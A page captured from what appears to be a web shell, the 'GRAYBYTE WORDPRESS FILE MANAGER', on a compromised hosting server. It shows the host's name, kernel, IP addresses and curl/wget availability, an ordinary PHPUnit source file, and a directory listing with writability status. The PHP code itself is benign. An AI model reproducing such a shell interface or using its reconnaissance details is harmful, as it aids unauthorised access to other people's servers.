✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.165
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cpanel/ea-wappspector/vendor/phpunit/phpunit/src/Runner/Baseline//RelativePathCalculator.php
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Runner\Baseline;

use function array_fill;
use function array_merge;
use function array_slice;
use function assert;
use function count;
use function explode;
use function implode;
use function str_replace;
use function strpos;
use function substr;
use function trim;

/**
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 *
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 *
 * @see Copied from https://github.com/phpstan/phpstan-src/blob/1.10.33/src/File/ParentDirectoryRelativePathHelper.php
 */
final class RelativePathCalculator
{
    /**
     * @psalm-var non-empty-string $baselineDirectory
     */
    private readonly string $baselineDirectory;

    /**
     * @psalm-param non-empty-string $baselineDirectory
     */
    public function __construct(string $baselineDirectory)
    {
        $this->baselineDirectory = $baselineDirectory;
    }

    /**
     * @psalm-param non-empty-string $filename
     *
     * @psalm-return non-empty-string
     */
    public function calculate(string $filename): string
    {
        $result = implode('/', $this->parts($filename));

        assert($result !== '');

        return $result;
    }

    /**
     * @psalm-param non-empty-string $filename
     *
     * @psalm-return list<non-empty-string>
     */
    public function parts(string $filename): array
    {
        $schemePosition = strpos($filename, '://');

        if ($schemePosition !== false) {
            $filename = substr($filename, $schemePosition + 3);

            assert($filename !== '');
        }

        $parentParts        = explode('/', trim(str_replace('\\', '/', $this->baselineDirectory), '/'));
        $parentPartsCount   = count($parentParts);
        $filenameParts      = explode('/', trim(str_replace('\\', '/', $filename), '/'));
        $filenamePartsCount = count($filenameParts);

        $i = 0;

        for (; $i < $filenamePartsCount; $i++) {
            if ($parentPartsCount < $i + 1) {
                break;
            }

            $parentPath   = implode('/', array_slice($parentParts, 0, $i + 1));
            $filenamePath = implode('/', array_slice($filenameParts, 0, $i + 1));

            if ($parentPath !== $filenamePath) {
                break;
            }
        }

        if ($i === 0) {
            return [$filename];
        }

        $dotsCount = $parentPartsCount - $i;

        assert($dotsCount >= 0);

        return array_merge(array_fill(0, $dotsCount, '..'), array_slice($filenameParts, $i));
    }
}


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
27 Jan 2026 5.48 AM
root / root
0755
Exception
--
27 Jan 2026 5.48 AM
root / root
0755
Subscriber
--
27 Jan 2026 5.48 AM
root / root
0755
Baseline.php
1.553 KB
27 Jan 2026 5.48 AM
root / root
0644
Generator.php
3.915 KB
27 Jan 2026 5.48 AM
root / root
0644
Issue.php
3.469 KB
27 Jan 2026 5.48 AM
root / root
0644
Reader.php
3.081 KB
27 Jan 2026 5.48 AM
root / root
0644
RelativePathCalculator.php
2.784 KB
27 Jan 2026 5.48 AM
root / root
0644
Writer.php
1.932 KB
27 Jan 2026 5.48 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF